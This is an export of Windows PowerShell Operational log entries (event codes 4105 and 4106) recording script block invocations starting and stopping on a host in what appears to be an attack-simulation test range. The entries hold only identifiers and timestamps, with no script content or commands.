OpCode=On create calls
RecordNumber=2048860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048859
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048858
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048841
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048835
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048811
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048809
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048808
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
